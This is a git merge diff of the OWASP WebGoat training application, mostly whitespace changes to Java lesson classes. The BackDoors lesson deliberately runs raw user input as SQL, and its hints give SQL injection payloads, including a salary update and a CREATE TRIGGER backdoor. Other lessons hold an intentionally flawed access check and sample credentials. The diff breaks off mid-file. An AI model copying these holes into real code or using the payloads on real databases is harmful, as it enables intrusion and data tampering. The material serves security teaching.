Merge branch 'next' into WEB-139

Conflicts:
	src/main/java/org/owasp/webgoat/lessons/PasswordStrength.java
This commit is contained in:
nbaars
2014-09-16 18:28:32 +02:00
126 changed files with 21246 additions and 21202 deletions

View File

@ -649,34 +649,34 @@ public abstract class AbstractLesson extends Screen implements Comparable<Object
// FIXME: make this string static // FIXME: make this string static
StringBuffer script = new StringBuffer(); StringBuffer script = new StringBuffer();
script.append("<script language=\"JavaScript\">\n"); script.append("<script language=\"JavaScript\">\n");
script.append(" <!--\n"); script.append(" <!--\n");
script.append(" function makeWindow(url) {\n"); script.append(" function makeWindow(url) {\n");
script.append("\n"); script.append("\n");
script.append(" agent = navigator.userAgent;\n"); script.append(" agent = navigator.userAgent;\n");
script.append("\n"); script.append("\n");
script.append(" params = \"\";\n"); script.append(" params = \"\";\n");
script.append(" params += \"toolbar=0,\";\n"); script.append(" params += \"toolbar=0,\";\n");
script.append(" params += \"location=0,\";\n"); script.append(" params += \"location=0,\";\n");
script.append(" params += \"directories=0,\";\n"); script.append(" params += \"directories=0,\";\n");
script.append(" params += \"status=0,\";\n"); script.append(" params += \"status=0,\";\n");
script.append(" params += \"menubar=0,\";\n"); script.append(" params += \"menubar=0,\";\n");
script.append(" params += \"scrollbars=1,\";\n"); script.append(" params += \"scrollbars=1,\";\n");
script.append(" params += \"resizable=1,\";\n"); script.append(" params += \"resizable=1,\";\n");
script.append(" params += \"width=500,\";\n"); script.append(" params += \"width=500,\";\n");
script.append(" params += \"height=350\";\n"); script.append(" params += \"height=350\";\n");
script.append("\n"); script.append("\n");
script.append(" // close the window to vary the window size\n"); script.append(" // close the window to vary the window size\n");
script.append(" if (typeof(win) == \"object\" && !win.closed){\n"); script.append(" if (typeof(win) == \"object\" && !win.closed){\n");
script.append(" win.close();\n"); script.append(" win.close();\n");
script.append(" }\n"); script.append(" }\n");
script.append("\n"); script.append("\n");
script.append(" win = window.open(url, '" + windowName + "' , params);\n"); script.append(" win = window.open(url, '" + windowName + "' , params);\n");
script.append("\n"); script.append("\n");
script.append(" // bring the window to the front\n"); script.append(" // bring the window to the front\n");
script.append(" win.focus();\n"); script.append(" win.focus();\n");
script.append(" }\n"); script.append(" }\n");
script.append(" //-->\n"); script.append(" //-->\n");
script.append(" </script>\n"); script.append(" </script>\n");
return script.toString(); return script.toString();
} }

View File

@ -47,230 +47,230 @@ import org.owasp.webgoat.session.WebSession;
public class AccessControlMatrix extends LessonAdapter public class AccessControlMatrix extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement( .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0)); .setVspace(0));
private final static String RESOURCE = "Resource"; private final static String RESOURCE = "Resource";
private final static String USER = "User"; private final static String USER = "User";
private final static String[] resources = { "Public Share", "Time Card Entry", "Performance Review", private final static String[] resources = { "Public Share", "Time Card Entry", "Performance Review",
"Time Card Approval", "Site Manager", "Account Manager" }; "Time Card Approval", "Site Manager", "Account Manager" };
private final static String[] roles = { "Public", "User", "Manager", "Admin" }; private final static String[] roles = { "Public", "User", "Manager", "Admin" };
private final static String[] users = { "Moe", "Larry", "Curly", "Shemp" }; private final static String[] users = { "Moe", "Larry", "Curly", "Shemp" };
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
String user = s.getParser().getRawParameter(USER, users[0]); String user = s.getParser().getRawParameter(USER, users[0]);
String resource = s.getParser().getRawParameter(RESOURCE, resources[0]); String resource = s.getParser().getRawParameter(RESOURCE, resources[0]);
String credentials = getRoles(user).toString(); String credentials = getRoles(user).toString();
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD().addElement("Change user:")); tr.addElement(new TD().addElement("Change user:"));
tr.addElement(new TD().addElement(ECSFactory.makePulldown(USER, users, user, 1))); tr.addElement(new TD().addElement(ECSFactory.makePulldown(USER, users, user, 1)));
t.addElement(tr); t.addElement(tr);
// These two lines would allow the user to select the resource from a list // These two lines would allow the user to select the resource from a list
// Didn't seem right to me so I made them type it in. // Didn't seem right to me so I made them type it in.
// ec.addElement( new P().addElement( "Choose a resource:" ) ); // ec.addElement( new P().addElement( "Choose a resource:" ) );
// ec.addElement( ECSFactory.makePulldown( RESOURCE, resources, resource, 1 ) ); // ec.addElement( ECSFactory.makePulldown( RESOURCE, resources, resource, 1 ) );
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Select resource: ")); tr.addElement(new TD().addElement("Select resource: "));
tr.addElement(new TD().addElement(ECSFactory.makePulldown(RESOURCE, resources, resource, 1))); tr.addElement(new TD().addElement(ECSFactory.makePulldown(RESOURCE, resources, resource, 1)));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD("&nbsp;").setColSpan(2).setAlign("center")); tr.addElement(new TD("&nbsp;").setColSpan(2).setAlign("center"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD(ECSFactory.makeButton("Check Access")).setColSpan(2).setAlign("center")); tr.addElement(new TD(ECSFactory.makeButton("Check Access")).setColSpan(2).setAlign("center"));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
if (isAllowed(user, resource)) if (isAllowed(user, resource))
{ {
if (!getRoles(user).contains("Admin") && resource.equals("Account Manager")) if (!getRoles(user).contains("Admin") && resource.equals("Account Manager"))
{ {
makeSuccess(s); makeSuccess(s);
} }
s.setMessage("User " + user + " " + credentials + " was allowed to access resource " + resource); s.setMessage("User " + user + " " + credentials + " was allowed to access resource " + resource);
} }
else else
{ {
s.setMessage("User " + user + " " + credentials + " did not have privilege to access resource " s.setMessage("User " + user + " " + credentials + " did not have privilege to access resource "
+ resource); + resource);
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/** /**
* Gets the category attribute of the RoleBasedAccessControl object * Gets the category attribute of the RoleBasedAccessControl object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.ACCESS_CONTROL; return Category.ACCESS_CONTROL;
} }
/** /**
* Gets the hints attribute of the RoleBasedAccessControl object * Gets the hints attribute of the RoleBasedAccessControl object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Many sites attempt to restrict access to resources by role."); hints.add("Many sites attempt to restrict access to resources by role.");
hints.add("Developers frequently make mistakes implementing this scheme."); hints.add("Developers frequently make mistakes implementing this scheme.");
hints.add("Attempt combinations of users, roles, and resources."); hints.add("Attempt combinations of users, roles, and resources.");
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(10); private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the resources attribute of the RoleBasedAccessControl object * Gets the resources attribute of the RoleBasedAccessControl object
* *
* @param rl * @param rl
* Description of the Parameter * Description of the Parameter
* @return The resources value * @return The resources value
*/ */
private List getResources(List rl) private List getResources(List rl)
{ {
// return the resources allowed for these roles // return the resources allowed for these roles
ArrayList<String> list = new ArrayList<String>(); ArrayList<String> list = new ArrayList<String>();
if (rl.contains(roles[0])) if (rl.contains(roles[0]))
{ {
list.add(resources[0]); list.add(resources[0]);
} }
if (rl.contains(roles[1])) if (rl.contains(roles[1]))
{ {
list.add(resources[1]); list.add(resources[1]);
list.add(resources[5]); list.add(resources[5]);
} }
if (rl.contains(roles[2])) if (rl.contains(roles[2]))
{ {
list.add(resources[2]); list.add(resources[2]);
list.add(resources[3]); list.add(resources[3]);
} }
if (rl.contains(roles[3])) if (rl.contains(roles[3]))
{ {
list.add(resources[4]); list.add(resources[4]);
list.add(resources[5]); list.add(resources[5]);
} }
return list; return list;
} }
/** /**
* Gets the role attribute of the RoleBasedAccessControl object * Gets the role attribute of the RoleBasedAccessControl object
* *
* @param user * @param user
* Description of the Parameter * Description of the Parameter
* @return The role value * @return The role value
*/ */
private List getRoles(String user) private List getRoles(String user)
{ {
ArrayList<String> list = new ArrayList<String>(); ArrayList<String> list = new ArrayList<String>();
if (user.equals(users[0])) if (user.equals(users[0]))
{ {
list.add(roles[0]); list.add(roles[0]);
} }
else if (user.equals(users[1])) else if (user.equals(users[1]))
{ {
list.add(roles[1]); list.add(roles[1]);
list.add(roles[2]); list.add(roles[2]);
} }
else if (user.equals(users[2])) else if (user.equals(users[2]))
{ {
list.add(roles[0]); list.add(roles[0]);
list.add(roles[2]); list.add(roles[2]);
} }
else if (user.equals(users[3])) else if (user.equals(users[3]))
{ {
list.add(roles[3]); list.add(roles[3]);
} }
return list; return list;
} }
/** /**
* Gets the title attribute of the AccessControlScreen object * Gets the title attribute of the AccessControlScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Using an Access Control Matrix"); return ("Using an Access Control Matrix");
} }
// private final static ArrayList userList = new ArrayList(Arrays.asList(users)); // private final static ArrayList userList = new ArrayList(Arrays.asList(users));
// private final static ArrayList resourceList = new ArrayList(Arrays.asList(resources)); // private final static ArrayList resourceList = new ArrayList(Arrays.asList(resources));
// private final static ArrayList roleList = new ArrayList(Arrays.asList(roles)); // private final static ArrayList roleList = new ArrayList(Arrays.asList(roles));
/** /**
* Please do not ever implement an access control scheme this way! But it's not the worst I've * Please do not ever implement an access control scheme this way! But it's not the worst I've
* seen. * seen.
* *
* @param user * @param user
* Description of the Parameter * Description of the Parameter
* @param resource * @param resource
* Description of the Parameter * Description of the Parameter
* @return The allowed value * @return The allowed value
*/ */
private boolean isAllowed(String user, String resource) private boolean isAllowed(String user, String resource)
{ {
List roles = getRoles(user); List roles = getRoles(user);
List resources = getResources(roles); List resources = getResources(roles);
return (resources.contains(resource)); return (resources.contains(resource));
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
} }

View File

@ -56,238 +56,238 @@ import org.owasp.webgoat.session.WebSession;
public class BackDoors extends SequentialLessonAdapter public class BackDoors extends SequentialLessonAdapter
{ {
private final static Integer DEFAULT_RANKING = new Integer(80); private final static Integer DEFAULT_RANKING = new Integer(80);
private final static String USERNAME = "username"; private final static String USERNAME = "username";
private final static String SELECT_ST = "select userid, password, ssn, salary, email from employee where userid="; private final static String SELECT_ST = "select userid, password, ssn, salary, email from employee where userid=";
public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0));
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element doStage1(WebSession s) throws Exception protected Element doStage1(WebSession s) throws Exception
{ {
return concept1(s); return concept1(s);
} }
protected Element doStage2(WebSession s) throws Exception protected Element doStage2(WebSession s) throws Exception
{ {
return concept2(s); return concept2(s);
} }
private void addDBEntriesToEC(ElementContainer ec, ResultSet rs) private void addDBEntriesToEC(ElementContainer ec, ResultSet rs)
{ {
try try
{ {
if (rs.next()) if (rs.next())
{ {
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(1); Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(1);
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH("User ID")); tr.addElement(new TH("User ID"));
tr.addElement(new TH("Password")); tr.addElement(new TH("Password"));
tr.addElement(new TH("SSN")); tr.addElement(new TH("SSN"));
tr.addElement(new TH("Salary")); tr.addElement(new TH("Salary"));
tr.addElement(new TH("E-Mail")); tr.addElement(new TH("E-Mail"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD(rs.getString("userid"))); tr.addElement(new TD(rs.getString("userid")));
tr.addElement(new TD(rs.getString("password"))); tr.addElement(new TD(rs.getString("password")));
tr.addElement(new TD(rs.getString("ssn"))); tr.addElement(new TD(rs.getString("ssn")));
tr.addElement(new TD(rs.getString("salary"))); tr.addElement(new TD(rs.getString("salary")));
tr.addElement(new TD(rs.getString("email"))); tr.addElement(new TD(rs.getString("email")));
t.addElement(tr); t.addElement(tr);
while (rs.next()) while (rs.next())
{ {
tr = new TR(); tr = new TR();
tr.addElement(new TD(rs.getString("userid"))); tr.addElement(new TD(rs.getString("userid")));
tr.addElement(new TD(rs.getString("password"))); tr.addElement(new TD(rs.getString("password")));
tr.addElement(new TD(rs.getString("ssn"))); tr.addElement(new TD(rs.getString("ssn")));
tr.addElement(new TD(rs.getString("salary"))); tr.addElement(new TD(rs.getString("salary")));
tr.addElement(new TD(rs.getString("email"))); tr.addElement(new TD(rs.getString("email")));
t.addElement(tr); t.addElement(tr);
} }
ec.addElement(t); ec.addElement(t);
} }
} catch (SQLException e) } catch (SQLException e)
{ {
// TODO Auto-generated catch block // TODO Auto-generated catch block
e.printStackTrace(); e.printStackTrace();
} }
} }
protected Element concept1(WebSession s) throws Exception protected Element concept1(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(makeUsername(s)); ec.addElement(makeUsername(s));
try try
{ {
String userInput = s.getParser().getRawParameter(USERNAME, ""); String userInput = s.getParser().getRawParameter(USERNAME, "");
if (!userInput.equals("")) if (!userInput.equals(""))
{ {
userInput = SELECT_ST + userInput; userInput = SELECT_ST + userInput;
String[] arrSQL = userInput.split(";"); String[] arrSQL = userInput.split(";");
Connection conn = DatabaseUtilities.getConnection(s); Connection conn = DatabaseUtilities.getConnection(s);
Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
if (arrSQL.length == 2) if (arrSQL.length == 2)
{ {
statement.executeUpdate(arrSQL[1]); statement.executeUpdate(arrSQL[1]);
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
s s
.setMessage("You have succeeded in exploiting the vulnerable query and created another SQL statement. Now move to stage 2 to learn how to create a backdoor or a DB worm"); .setMessage("You have succeeded in exploiting the vulnerable query and created another SQL statement. Now move to stage 2 to learn how to create a backdoor or a DB worm");
} }
ResultSet rs = statement.executeQuery(arrSQL[0]); ResultSet rs = statement.executeQuery(arrSQL[0]);
addDBEntriesToEC(ec, rs); addDBEntriesToEC(ec, rs);
} }
} catch (Exception ex) } catch (Exception ex)
{ {
ec.addElement(new PRE(ex.getMessage())); ec.addElement(new PRE(ex.getMessage()));
} }
return ec; return ec;
} }
protected Element concept2(WebSession s) throws Exception protected Element concept2(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(makeUsername(s)); ec.addElement(makeUsername(s));
String userInput = s.getParser().getRawParameter(USERNAME, ""); String userInput = s.getParser().getRawParameter(USERNAME, "");
if (!userInput.equals("")) if (!userInput.equals(""))
{ {
userInput = SELECT_ST + userInput; userInput = SELECT_ST + userInput;
String[] arrSQL = userInput.split(";"); String[] arrSQL = userInput.split(";");
Connection conn = DatabaseUtilities.getConnection(s); Connection conn = DatabaseUtilities.getConnection(s);
Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
if (arrSQL.length == 2) if (arrSQL.length == 2)
{ {
if (userInput.toUpperCase().indexOf("CREATE TRIGGER") != -1) if (userInput.toUpperCase().indexOf("CREATE TRIGGER") != -1)
{ {
makeSuccess(s); makeSuccess(s);
} }
} }
ResultSet rs = statement.executeQuery(arrSQL[0]); ResultSet rs = statement.executeQuery(arrSQL[0]);
addDBEntriesToEC(ec, rs); addDBEntriesToEC(ec, rs);
} }
return ec; return ec;
} }
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = ""; String instructions = "";
if (!getLessonTracker(s).getCompleted()) if (!getLessonTracker(s).getCompleted())
{ {
switch (getStage(s)) switch (getStage(s))
{ {
case 1: case 1:
instructions = "Stage " + getStage(s) instructions = "Stage " + getStage(s)
+ ": Use String SQL Injection to execute more than one SQL Statement. "; + ": Use String SQL Injection to execute more than one SQL Statement. ";
instructions = instructions instructions = instructions
+ " The first stage of this lesson is to teach you how to use a vulnerable field to create two SQL "; + " The first stage of this lesson is to teach you how to use a vulnerable field to create two SQL ";
instructions = instructions instructions = instructions
+ " statements. The first is the system's while the second is totally yours."; + " statements. The first is the system's while the second is totally yours.";
instructions = instructions instructions = instructions
+ " Your account ID is 101. This page allows you to see your password, ssn and salary."; + " Your account ID is 101. This page allows you to see your password, ssn and salary.";
instructions = instructions + " Try to inject another update to update salary to something higher"; instructions = instructions + " Try to inject another update to update salary to something higher";
break; break;
case 2: case 2:
instructions = "Stage " + getStage(s) + ": Use String SQL Injection to inject a backdoor. "; instructions = "Stage " + getStage(s) + ": Use String SQL Injection to inject a backdoor. ";
instructions = instructions instructions = instructions
+ " The second stage of this lesson is to teach you how to use a vulneable fields to inject the DB work or the backdoor."; + " The second stage of this lesson is to teach you how to use a vulneable fields to inject the DB work or the backdoor.";
instructions = instructions instructions = instructions
+ " Now try to use the same technique to inject a trigger that would act as "; + " Now try to use the same technique to inject a trigger that would act as ";
instructions = instructions + " SQL backdoor, the syntax of a trigger is: <br>"; instructions = instructions + " SQL backdoor, the syntax of a trigger is: <br>";
instructions = instructions instructions = instructions
+ " CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid<br>"; + " CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid<br>";
instructions = instructions instructions = instructions
+ " Note that nothing will actually be executed because the current underlying DB doesn't support triggers."; + " Note that nothing will actually be executed because the current underlying DB doesn't support triggers.";
break; break;
} }
} }
return instructions; return instructions;
} }
protected Element makeUsername(WebSession s) protected Element makeUsername(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
StringBuffer script = new StringBuffer(); StringBuffer script = new StringBuffer();
script.append("<STYLE TYPE=\"text/css\"> "); script.append("<STYLE TYPE=\"text/css\"> ");
script.append(".blocklabel { margin-top: 8pt; }"); script.append(".blocklabel { margin-top: 8pt; }");
script.append(".myClass { color:red;"); script.append(".myClass { color:red;");
script.append(" font-weight: bold;"); script.append(" font-weight: bold;");
script.append("padding-left: 1px;"); script.append("padding-left: 1px;");
script.append("padding-right: 1px;"); script.append("padding-right: 1px;");
script.append("background: #DDDDDD;"); script.append("background: #DDDDDD;");
script.append("border: thin black solid; }"); script.append("border: thin black solid; }");
script.append("LI { margin-top: 10pt; }"); script.append("LI { margin-top: 10pt; }");
script.append("</STYLE>"); script.append("</STYLE>");
ec.addElement(new StringElement(script.toString())); ec.addElement(new StringElement(script.toString()));
ec.addElement(new StringElement("User ID: ")); ec.addElement(new StringElement("User ID: "));
Input username = new Input(Input.TEXT, "username", ""); Input username = new Input(Input.TEXT, "username", "");
ec.addElement(username); ec.addElement(username);
String userInput = s.getParser().getRawParameter("username", ""); String userInput = s.getParser().getRawParameter("username", "");
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
String formattedInput = "<span class='myClass'>" + userInput + "</span>"; String formattedInput = "<span class='myClass'>" + userInput + "</span>";
ec.addElement(new Div(SELECT_ST + formattedInput)); ec.addElement(new Div(SELECT_ST + formattedInput));
Input b = new Input(); Input b = new Input();
b.setName("Submit"); b.setName("Submit");
b.setType(Input.SUBMIT); b.setType(Input.SUBMIT);
b.setValue("Submit"); b.setValue("Submit");
ec.addElement(new PRE(b)); ec.addElement(new PRE(b));
return ec; return ec;
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Sherif Koussa&nbsp;", MAC_LOGO); return super.getCustomCredits("Created by Sherif Koussa&nbsp;", MAC_LOGO);
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Your user id is 101. Use it to see your information"); hints.add("Your user id is 101. Use it to see your information");
hints.add("A semi-colon usually ends a SQL statement and starts a new one."); hints.add("A semi-colon usually ends a SQL statement and starts a new one.");
hints.add("Try this 101 or 1=1; update employee set salary=100000"); hints.add("Try this 101 or 1=1; update employee set salary=100000");
hints.add("For stage 2, Try 101; CREATE TRIGGER myBackDoor BEFORE INSERT ON " hints.add("For stage 2, Try 101; CREATE TRIGGER myBackDoor BEFORE INSERT ON "
+ "employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid"); + "employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid");
return hints; return hints;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.INJECTION; return Category.INJECTION;
} }
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
public String getTitle() public String getTitle()
{ {
return ("Database Backdoors "); return ("Database Backdoors ");
} }
} }

View File

@ -48,237 +48,237 @@ import org.owasp.webgoat.util.WebGoatI18N;
*/ */
public class BasicAuthentication extends SequentialLessonAdapter public class BasicAuthentication extends SequentialLessonAdapter
{ {
private static final String EMPTY_STRING = ""; private static final String EMPTY_STRING = "";
private static final String WEBGOAT_BASIC = "webgoat_basic"; private static final String WEBGOAT_BASIC = "webgoat_basic";
private static final String AUTHORIZATION = "Authorization"; private static final String AUTHORIZATION = "Authorization";
private static final String ORIGINAL_AUTH = "Original_Auth"; private static final String ORIGINAL_AUTH = "Original_Auth";
private static final String ORIGINAL_USER = "Original.user"; private static final String ORIGINAL_USER = "Original.user";
private static final String BASIC = "basic"; private static final String BASIC = "basic";
private static final String JSESSIONID = "JSESSIONID"; private static final String JSESSIONID = "JSESSIONID";
private final static String HEADER_NAME = "header"; private final static String HEADER_NAME = "header";
private final static String HEADER_VALUE = "value"; private final static String HEADER_VALUE = "value";
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element doStage1(WebSession s) throws Exception protected Element doStage1(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String headerName = null; String headerName = null;
String headerValue = null; String headerValue = null;
try try
{ {
headerName = new String(s.getParser().getStringParameter(HEADER_NAME, EMPTY_STRING)); headerName = new String(s.getParser().getStringParameter(HEADER_NAME, EMPTY_STRING));
headerValue = new String(s.getParser().getStringParameter(HEADER_VALUE, EMPTY_STRING)); headerValue = new String(s.getParser().getStringParameter(HEADER_VALUE, EMPTY_STRING));
// <START_OMIT_SOURCE> // <START_OMIT_SOURCE>
// FIXME: This won;t work for CBT, we need to use the UserTracker // FIXME: This won;t work for CBT, we need to use the UserTracker
// Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= // Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
if (headerName.equalsIgnoreCase(AUTHORIZATION) if (headerName.equalsIgnoreCase(AUTHORIZATION)
&& (headerValue.equals("guest:guest") || headerValue.equals("webgoat:webgoat"))) && (headerValue.equals("guest:guest") || headerValue.equals("webgoat:webgoat")))
{ {
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
return doStage2(s); return doStage2(s);
} }
else else
{ {
if (headerName.length() > 0 && !headerName.equalsIgnoreCase(AUTHORIZATION)) if (headerName.length() > 0 && !headerName.equalsIgnoreCase(AUTHORIZATION))
{ {
s.setMessage(WebGoatI18N.get("BasicAuthHeaderNameIncorrect")); s.setMessage(WebGoatI18N.get("BasicAuthHeaderNameIncorrect"));
} }
if (headerValue.length() > 0 if (headerValue.length() > 0
&& !(headerValue.equals("guest:guest") || headerValue.equals("webgoat:webgoat"))) && !(headerValue.equals("guest:guest") || headerValue.equals("webgoat:webgoat")))
{ {
s.setMessage(WebGoatI18N.get("BasicAuthHeaderValueIncorrect")); s.setMessage(WebGoatI18N.get("BasicAuthHeaderValueIncorrect"));
} }
} }
// <END_OMIT_SOURCE> // <END_OMIT_SOURCE>
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR row1 = new TR(); TR row1 = new TR();
TR row2 = new TR(); TR row2 = new TR();
row1.addElement(new TD(new StringElement(WebGoatI18N.get("BasicAuthenticationWhatIsNameOfHeader")))); row1.addElement(new TD(new StringElement(WebGoatI18N.get("BasicAuthenticationWhatIsNameOfHeader"))));
row2.addElement(new TD(new StringElement(WebGoatI18N.get("BasicAuthenticationWhatIsDecodedValueOfHeader")))); row2.addElement(new TD(new StringElement(WebGoatI18N.get("BasicAuthenticationWhatIsDecodedValueOfHeader"))));
row1.addElement(new TD(new Input(Input.TEXT, HEADER_NAME, headerName.toString()))); row1.addElement(new TD(new Input(Input.TEXT, HEADER_NAME, headerName.toString())));
row2.addElement(new TD(new Input(Input.TEXT, HEADER_VALUE, headerValue.toString()))); row2.addElement(new TD(new Input(Input.TEXT, HEADER_VALUE, headerValue.toString())));
t.addElement(row1); t.addElement(row1);
t.addElement(row2); t.addElement(row2);
ec.addElement(t); ec.addElement(t);
ec.addElement(new P()); ec.addElement(new P());
Element b = ECSFactory.makeButton(WebGoatI18N.get("Submit")); Element b = ECSFactory.makeButton(WebGoatI18N.get("Submit"));
ec.addElement(b); ec.addElement(b);
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
protected Element doStage2(WebSession s) throws Exception protected Element doStage2(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
if (s.getRequest().isUserInRole(WEBGOAT_BASIC)) if (s.getRequest().isUserInRole(WEBGOAT_BASIC))
{ {
String originalUser = getLessonTracker(s).getLessonProperties() String originalUser = getLessonTracker(s).getLessonProperties()
.getProperty(ORIGINAL_USER, EMPTY_STRING); .getProperty(ORIGINAL_USER, EMPTY_STRING);
getLessonTracker(s, originalUser).setCompleted(true); getLessonTracker(s, originalUser).setCompleted(true);
getLessonTracker(s, originalUser).setStage(1); getLessonTracker(s, originalUser).setStage(1);
getLessonTracker(s, originalUser).store(s, this); getLessonTracker(s, originalUser).store(s, this);
makeSuccess(s); makeSuccess(s);
s.setMessage(WebGoatI18N.get("BasicAuthenticiationGreenStars1")+ originalUser + WebGoatI18N.get("BasicAuthenticationGreenStars2")); s.setMessage(WebGoatI18N.get("BasicAuthenticiationGreenStars1")+ originalUser + WebGoatI18N.get("BasicAuthenticationGreenStars2"));
return ec; return ec;
} }
else else
{ {
// If we are still in the ORIGINAL_USER role see if the Basic Auth header has been // If we are still in the ORIGINAL_USER role see if the Basic Auth header has been
// manipulated // manipulated
String originalAuth = getLessonTracker(s).getLessonProperties() String originalAuth = getLessonTracker(s).getLessonProperties()
.getProperty(ORIGINAL_AUTH, EMPTY_STRING); .getProperty(ORIGINAL_AUTH, EMPTY_STRING);
String originalSessionId = getLessonTracker(s).getLessonProperties() String originalSessionId = getLessonTracker(s).getLessonProperties()
.getProperty(JSESSIONID, s.getCookie(JSESSIONID)); .getProperty(JSESSIONID, s.getCookie(JSESSIONID));
// store the original user info in the BASIC properties files // store the original user info in the BASIC properties files
if (originalSessionId.equals(s.getCookie(JSESSIONID))) if (originalSessionId.equals(s.getCookie(JSESSIONID)))
{ {
// Store the original user name in the "basic" user properties file. We need to // Store the original user name in the "basic" user properties file. We need to
// use // use
// the original user to access the correct properties file to update status. // the original user to access the correct properties file to update status.
// store the initial auth header // store the initial auth header
getLessonTracker(s).getLessonProperties().setProperty(JSESSIONID, originalSessionId); getLessonTracker(s).getLessonProperties().setProperty(JSESSIONID, originalSessionId);
